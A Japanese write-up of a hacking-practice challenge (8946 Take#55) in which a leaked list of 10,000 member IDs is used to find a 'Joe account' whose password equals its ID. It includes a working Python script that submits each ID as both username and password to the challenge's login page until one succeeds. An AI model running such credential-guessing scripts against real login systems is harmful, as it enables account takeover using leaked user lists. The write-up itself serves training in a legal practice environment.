【8946】Take#55 writeup
はじめに
今更ながら8946のTake#55を解いたので、そのwriteupを。 www.hackerschool.jp
問題
あるサイトから流出した会員IDのリストを入手しました。 パスワードの記載はなく、会員IDのみのリストです。 このリストを元に、下記サイトのログイン認証を突破してみてください。 ログイン成功後、表示されるパスワードを以下のフォームに入力すればクリアです。
「会員IDのリスト」は10000件のIDが書かれたテキストファイル。
「下記サイト」にアクセスすると以下のような画面が表示される。
問題紹介には「Joeアカウント」と記載されている。
解法
Joeアカウントとは、IDとパスワードが同じアカウントのことを言う。
(例 ID:joe、パスワード:joe)
問題紹介にもあるように、10000万のIDのなかからこのページにログインできるアカウント(joeアカウント)を探せという問題。
10000通りを手動で調べるのは無理なので、以下のようなスクリプトを書いた。
認証失敗すると、レスポンスに「Error!」という文字列が含まれるため、レスポンスにその文字列が含まれないPOSTデータを表示するスクリプト。
import requests # take55のURL URL = "http://www.hackerschool.jp/hack/take55_attack.php" # take55_id_data.txtの内容全てを読み出し、一行毎にリスト化 with open(r"8946\take55_id_data.txt", "r") as f: fdata = f.readlines() s = requests.Session() # POSTするデータにid、passが同じものを一つずつリクエスト # 改行コードが邪魔なのでstripで削除 for i in fdata: rpost = s.post( url = URL, data = {"id":i.strip(),"pass":i.strip()}, headers = {"Cookie":"Your Cookie"} ) # レスポンスの中に"Error!"が含まれていないPOSTデータを表示 if ("Error!" not in rpost.text): print(i.strip()) break